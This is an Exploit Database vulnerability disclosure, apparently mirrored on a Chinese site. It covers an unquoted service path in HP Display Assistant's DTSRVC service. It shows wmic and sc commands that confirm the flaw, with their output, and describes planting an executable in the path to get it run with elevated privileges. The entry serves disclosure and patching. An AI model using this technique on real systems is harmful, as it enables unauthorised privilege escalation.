HP Display Assistant x64 Edition 3.20 – ‘DTSRVC’ Unquoted Service Path

• Exploit Database
• 42 阅读

• 作者： Julio Aviña
  日期： 2020-11-09
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49002/

• # Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
  # Date: 2020-11-08
  # Exploit Author: Julio Aviña
  # Vendor Homepage: https://www.portrait.com/
  # Software Link: https://www.portrait.com/dtune/hwp/enu/
  # Software Version: 3.20
  # File Version: 1.0.0.1
  # Tested on: Windows 10 Pro x64 es
  # Vulnerability Type: Unquoted Service Path
  
  
  # 1. To find the unquoted service path vulnerability
  
  C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname
  
  DisplayName NamePathName StartModeStartName
  Portrait Displays Display Tune ServiceDTSRVCC:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exeAuto LocalSystem
  
  # 2. To check service info:
  
  C:\>sc qc "DTSRVC"
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: DTSRVC
  TIPO : 10WIN32_OWN_PROCESS
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe
  GRUPO_ORDEN_CARGA:
  ETIQUETA : 0
  NOMBRE_MOSTRAR : Portrait Displays Display Tune Service
  DEPENDENCIAS :
  NOMBRE_INICIO_SERVICIO: LocalSystem
  
  
  # 3. Exploit:
  
  A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
  When restarting the service or the system, the inserted executable will run with elevated privileges.